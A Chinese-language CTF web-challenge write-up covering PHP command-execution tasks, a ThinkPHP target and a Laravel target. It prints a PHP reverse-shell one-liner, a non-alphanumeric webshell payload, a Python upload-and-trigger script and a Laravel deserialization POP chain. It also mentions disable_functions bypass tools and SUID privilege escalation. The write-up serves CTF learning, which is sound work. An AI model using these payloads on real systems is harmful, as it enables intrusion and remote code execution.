传入 shell 就容易了，可以把 ls / 的结果写入一个文件中，然后还用 signin 的方法用 curl 发到服务器上，反弹 shell 这次又失败了，目标机上没有 bash 环境，curl+php 的方法刚连上就断掉了

我来补充了，某一天搜到了反弹 shell 的大全，于是又回来试了一下，感觉调用 php 那些命令执行函数执行反弹的 shell 都不行，估计是这些函数都被禁了于是使用这个命令

`1`	`php -r '$sock=fsockopen("ip",port);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'`

这次居然成功了

时隔几百天，我又回来看这道题了。和当时不同的是，我已经拿到了胡哥给的焚诀，也就是标准答案：

poc1：(php7)

`1`	?><?=`{${"`{{{"^"?<>/"}[%a0]}`?>&%a0=ls -al /

拆开看：

?>：结束 PHP 代码块（从 PHP 模式切回 HTML 模式）
<?= ... ?>：短 echo 标签（等价于 <?php echo ...; ?>）
套上反引号相当于shell_exec
异或那一坨算出来是_GET
${_GET}->${"_GET"} ->$_GET
%a0在url解码后是不可见字符，可以被用作key

总的来说就是相当于

`1`	`eval(shell_exec($_GET[不可见字符]))`

poc2：(php 5 )

import requests, io, threading

url = ''

content = b'''#!/bin/sh\n php -r '$sock=fsockopen("ip",port);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' '''

while True:
    params = {'cmd': '`. /*/????????[@-[]`;'}
    res = requests.post(url, params=params, files={'file': ('file', io.BytesIO(content))})
    print(res.text)

具体细节见https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

ezthink

一个 thinphp 的框架

网上有很多关于这个框架的漏洞讲解，我试了几个不完全对，于是找到了一个工具

https://github.com/bewhale/thinkphp_gui_tools

（用 java8）扫描完之后直接利用那个洞就可以传 webshell 了，用蚁剑一连接，打开终端发现不太对啊

搜索了一下是需要绕过 disable_functions，还是需要用工具：蚁剑的一个插件（插件市场似乎打不开了，需要设置代理科学上网）

参考链接：https://blog.csdn.net/zlzg007/article/details/108462813

一顿操作猛如虎，可以执行命令，但还要一步提权

试了几种还是锁定了 suid 提权

date 似乎可以用来提权

参考链接：https://blog.csdn.net/hljzzj/article/details/122693379

ezlaravel

直接 osint 就出了，按照下面这个文章打就行，就是变了个路由和参数

https://blog.csdn.net/qq_54502707/article/details/128269292

https://xz.aliyun.com/t/11362?time__1311=Cq0xR70Qq4lx0nD2QbWi%3DRW4iqYvXox#toc-3

poc:

<?php
 
namespace Illuminate\Contracts\Queue{
 
    interface ShouldQueue {}
}
 
namespace Illuminate\Bus{
 
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";
 
        }
    }
}
 
namespace Illuminate\Broadcasting{
 
    use Illuminate\Contracts\Queue\ShouldQueue;
 
    class BroadcastEvent implements ShouldQueue {
        function __construct() {}
    }
 
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct() {
            $this->event = new BroadcastEvent();
            $this->event->connection = "cat /flag";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}
 
namespace {
    $pop = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($pop));
}

小插曲：

刚开始一直出现这个页面，我以为 payload 有问题呢，后来才发现 call_user_func 已经执行过了，不过因为跳到异常里被覆盖了，用 burp 发的话应该就能直接看见了，hackbar 需要 f12 看一下 html

结语

round 1 就暂时告一段落了，这第一轮入门题就让我花了这么长时间，我何时才能成为 web 强者啊！！！